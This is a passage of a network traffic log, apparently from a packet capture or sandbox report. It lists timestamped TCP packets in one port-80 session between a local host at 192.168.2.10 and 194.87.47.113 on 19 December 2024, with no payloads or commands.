Dec 19, 2024 08:21:30.101341009 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.101383924 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.101447105 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.101484060 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.102158070 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.102257013 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.102953911 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.103003979 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.103049994 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.103085041 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.103836060 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.103919983 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.103969097 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.104558945 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.104643106 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.105514050 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.105581999 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.105628967 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.105684996 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.106214046 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.106296062 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.106916904 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.106990099 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.107117891 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.107971907 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.108011007 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.108027935 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.108061075 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.108464003 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.108597040 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.109253883 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.109294891 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.109333992 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.109368086 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.110153913 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.110238075 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.111007929 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.111042023 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.111109972 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.111145020 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.111716986 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.111852884 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.112948895 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.112983942 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.113039970 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.113073111 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.113898993 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.113995075 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.114890099 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.114928007 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.114985943 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.115016937 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.115603924 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.169543982 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.182223082 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.182471037 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.182580948 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.182706118 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.182773113 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.183170080 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.183320999 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.183439970 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.184268951 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.184314013 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.192388058 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.192420006 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.192447901 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.192627907 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.192641973 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.192673922 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.193093061 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.193131924 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.193205118 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.193905115 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.195173979 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.244668007 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.244779110 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.244827032 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.245009899 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.245131016 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.245214939 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.245795012 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.245954990 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.245995998 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.246611118 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.246752977 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.247168064 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.247423887 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.247509003 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.247792006 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.248249054 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.248308897 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.248347998 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.248966932 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.249092102 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.249485970 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.249525070 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.249541998 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.249574900 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.250402927 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.250531912 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.250581026 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.251166105 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.251229048 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.251271963 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.251894951 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.251908064 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.251940966 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.252669096 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.252835035 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.252872944 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.253418922 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.253565073 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.254221916 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.254241943 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.254270077 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.254297972 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.281342983 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.281444073 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.281666994 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.281724930 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.281744957 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.281781912 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.282543898 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.282666922 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.282855034 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.283260107 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.283355951 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.283494949 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.284044981 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.284238100 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.284311056 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.284841061 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.285079956 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.285151005 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.285608053 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.285722971 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.285758972 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.286382914 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.286503077 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.286784887 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.287200928 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.287323952 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.287492990 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.288116932 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.288247108 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.288815022 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.288866997 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.288921118 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.288958073 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.289606094 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.289767027 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.290364027 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.290401936 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.290471077 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.290504932 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.291152000 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.291301966 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.291423082 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.291986942 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.292092085 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.292129993 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.292731047 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.292856932 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.292893887 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.293515921 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.293633938 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.294317961 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.294368982 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.294429064 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.294496059 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.295151949 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.295411110 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.295458078 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.295902967 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.296030045 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.296674013 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.296721935 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.296785116 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.296823978 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.297482014 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.297576904 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.298300982 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.298350096 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.298392057 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.298434973 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.299196005 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.299282074 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.299331903 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.299848080 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.299954891 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.300642967 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.300688982 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.300746918 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.300781965 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.301428080 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.301554918 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.302217007 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.302267075 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.302328110 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.302396059 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.303015947 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.303142071 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.303822041 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.303867102 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.303988934 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.304024935 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.304601908 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.304698944 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.305404902 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.305506945 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.305506945 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.305546045 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.306171894 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.306263924 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.306972027 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.307024002 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.373342037 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.373402119 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.373476028 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.373600006 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.373648882 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.373707056 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.374372959 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.374492884 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.375168085 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.379219055 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.379231930 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.379286051 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.383868933 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.383882046 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.383896112 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.383908987 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.383941889 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.383969069 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.385190964 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.385204077 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.385252953 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.391155958 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.436786890 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.436949015 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.437056065 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.437247038 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.437283993 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.437294006 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.438035965 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.438235998 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.438277006 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.438862085 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.438896894 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.438960075 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.439606905 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.439814091 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.439858913 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.440484047 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.440496922 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.440525055 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.441730976 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.441742897 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.441756010 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.441767931 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.441768885 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.441795111 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.443161964 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.443175077 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.443232059 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.443361044 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.443377018 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.443403959 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.444700956 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.444715023 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.444742918 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.445765972 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.445777893 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.445791960 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.445810080 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.445831060 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.445949078 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.446472883 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.446485996 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.446513891 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.473783970 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.473798037 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.473813057 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.473828077 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.473887920 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.473941088 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.475162029 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.475174904 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.475189924 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.475219011 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.475236893 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.476650953 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.476670027 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.476684093 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.476696968 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.476732016 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.476749897 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.478296041 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.478310108 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.478323936 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.478337049 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.478351116 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.478379965 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.479166031 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.479177952 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.479192019 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.479216099 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.480638981 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.480645895 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.480650902 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.480700016 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.481508970 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.481527090 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.481539965 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.481594086 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.482990026 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.483001947 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.483014107 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.483043909 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.483073950 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.483155012 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.483773947 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.483813047 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.483961105 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.484616995 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.485485077 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.485510111 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.485522032 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.485529900 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.485551119 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.486941099 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.486953020 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.486984015 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.486988068 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.487021923 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.487162113 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.488630056 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.488641024 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.488656044 CET	80	49720	194.87.47.113	192.168.2.10
